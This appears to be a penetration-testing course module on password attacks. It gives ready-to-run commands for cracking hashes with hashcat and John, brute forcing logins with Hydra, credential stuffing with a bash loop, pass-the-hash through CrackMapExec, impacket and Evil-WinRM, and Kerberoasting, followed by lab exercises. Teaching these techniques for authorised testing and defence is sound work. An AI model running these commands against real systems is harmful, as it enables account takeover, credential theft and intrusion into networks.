Password Attacks: Cracking, Spraying & Pass-the-Hash
Master offline password cracking with hashcat and John the Ripper, online brute force with Hydra, credential stuffing, and Windows-specific attacks like pass-the-hash and pass-the-ticket.
Learning Objectives
- → Identify and crack common hash types with hashcat and John the Ripper
- → Perform online brute force and credential stuffing with Hydra
- → Execute pass-the-hash attacks with Mimikatz and CrackMapExec
- → Enumerate and attack Kerberos: ASREPRoasting and Kerberoasting
- → Implement password security best practices and monitoring
Hash Types
MD5: 32 hex chars — e.g., 5f4dcc3b5aa765d61d8327deb882cf99 ("password")
SHA1: 40 hex chars — deprecated
SHA256: 64 hex chars — common in modern apps
bcrypt: $2b$12$... — adaptive, GPU-resistant (rounds=12 → slow)
NTLM: 32 hex chars — Windows LAN Manager hash format
NetNTLMv2: complex — Windows network auth hash (captured via Responder)
sha512crypt: $6$... — Linux /etc/shadow modern default
MD5crypt: $1$... — older Linux /etc/shadow
Identification tools:
hashid hash.txt — identify hash type
hash-identifier — interactive identifier
hashcat --example-hashes | grep "\$2b\$"
Offline Cracking: hashcat
# Basic syntax
hashcat -m MODE -a ATTACK_TYPE hash.txt wordlist.txt
# Attack modes:
# -a 0 Straight (dictionary)
# -a 1 Combination
# -a 3 Brute force (mask)
# -a 6 Hybrid wordlist+mask
# -a 7 Hybrid mask+wordlist
# Common hash modes (-m):
# 0 MD5
# 100 SHA1
# 1000 NTLM (Windows)
# 1800 sha512crypt ($6$ Linux)
# 3200 bcrypt ($2*$)
# 5600 NetNTLMv2 (Responder captures)
# 13100 Kerberos TGS-REP (Kerberoasting)
# 18200 Kerberos AS-REP (ASREPRoasting)
# Dictionary attack (rockyou.txt):
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
# With rules (best results):
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Brute force mask (7 chars, upper/lower/digit):
hashcat -m 0 hash.txt -a 3 ?u?l?l?l?d?d?d
# Mask characters:
# ?l = lowercase (a-z)
# ?u = uppercase (A-Z)
# ?d = digit (0-9)
# ?s = special chars
# ?a = all printable
# GPU acceleration (vastly faster with NVIDIA):
hashcat -m 1000 hashes.txt rockyou.txt --device-types=1 # GPU
# Show cracked passwords:
hashcat -m 1000 hashes.txt --show
John the Ripper
# Auto-detect hash type and crack:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Specific format:
john --format=NT hash.txt --wordlist=rockyou.txt
john --format=bcrypt hash.txt --wordlist=rockyou.txt
# Show cracked:
john hash.txt --show
# Crack /etc/shadow (combine passwd+shadow):
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=rockyou.txt
# Generate wordlist variations:
john --wordlist=rockyou.txt --rules --stdout > mutated.txt
Online Brute Force: Hydra
# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
# Multiple users
hydra -L users.txt -P passwords.txt ssh://target.com
# FTP
hydra -l admin -P rockyou.txt ftp://target.com
# HTTP POST form
hydra target.com http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials" -l admin -P rockyou.txt
# Web form with cookie
hydra target.com http-post-form "/login:username=^USER^&password=^PASS^&csrf=TOKEN:F=invalid:H=Cookie: session=SESSID"
# RDP
hydra -l administrator -P rockyou.txt rdp://target.com
# SMB
hydra -l administrator -P rockyou.txt smb://target.com
# MySQL
hydra -l root -P rockyou.txt mysql://target.com
# Rate limiting: throttle to avoid lockout
hydra -l admin -P rockyou.txt -t 4 -W 3 ssh://target.com
# -t 4 = 4 threads, -W 3 = wait 3s between attempts
Pass-the-Hash (PtH)
# NTLM allows authentication with hash alone (no password!)
# Requires: NTLM hash of the user
# Get NTLM hash via Mimikatz (on compromised Windows):
# sekurlsa::logonpasswords
# or via Meterpreter hashdump
# Pass-the-Hash with CrackMapExec:
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH --local-auth
# Output: (+) Win (Pwn3d!) = admin access
crackmapexec smb 192.168.1.100 -u administrator -H NTLM_HASH -x "whoami"
# Execute commands
# PTH with impacket:
impacket-psexec [email protected] -hashes :NTLM_HASH
# Gets SYSTEM shell via SMB
# PTH with Evil-WinRM (WinRM/port 5985):
evil-winrm -i 192.168.1.100 -u administrator -H NTLM_HASH
Credential Stuffing
# Using leaked credential databases:
# Have I Been Pwned (HIBP): https://haveibeenpwned.com
# Tools: WeakestLink, Credmap
# Basic: test leaked username:password pairs against target
while IFS=: read user pass; do
result=$(curl -s -X POST https://target.com/login -d "user=$user&pass=$pass" | grep "Dashboard")
if [ -n "$result" ]; then
echo "VALID: $user:$pass"
fi
done < leaked_creds.txt
Kerberoasting (Active Directory)
# Request TGS for service accounts → crack offline
# Service account passwords often weak (never expire)
# With credentials:
impacket-GetUserSPNs target.domain/user:pass -dc-ip DC_IP -request -outputfile hashes.txt
# With Metasploit/Rubeus (from Windows):
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Crack:
hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule
ASREPRoasting
# Users with "Do not require Kerberos pre-authentication" set
# → AS-REP hash obtainable without credentials
impacket-GetNPUsers target.domain/ -usersfile users.txt -no-pass -dc-ip DC_IP
# Returns AS-REP hashes for vulnerable users
# Crack:
hashcat -m 18200 asrep_hashes.txt rockyou.txt
Crack a set of hashes: (1) identify hash types with hashid, (2) crack MD5 with hashcat -m 0 against rockyou.txt, (3) crack NTLM -m 1000 with best64 rules, (4) attempt bcrypt -m 3200 (notice speed difference — much slower!), (5) crack a NetNTLMv2 hash -m 5600 (simulate from Responder capture), (6) compare GPU vs CPU cracking speeds.
Why is bcrypt so much harder to crack than MD5?
What does a hashcat rule file do?
Test authentication services with Hydra: (1) brute force SSH on a lab target with admin user and top-50 passwords, (2) test HTTP login form with POST: http-post-form with correct fail string, (3) test FTP anonymous login check, (4) use -t 4 -W 3 to avoid lockout, (5) document which service and credentials were found.
What is the difference between brute force and credential stuffing?
Practice pass-the-hash attacks (lab with Active Directory or Metasploitable): (1) extract NTLM hash via hashdump from compromised system, (2) use CrackMapExec to test hash across subnet: crackmapexec smb 192.168.1.0/24 -u admin -H HASH, (3) identify systems where hash grants access (Pwn3d!), (4) use impacket-psexec with hash to get shell on target, (5) explain why PTH is possible in NTLM.
Why does pass-the-hash work with NTLM authentication?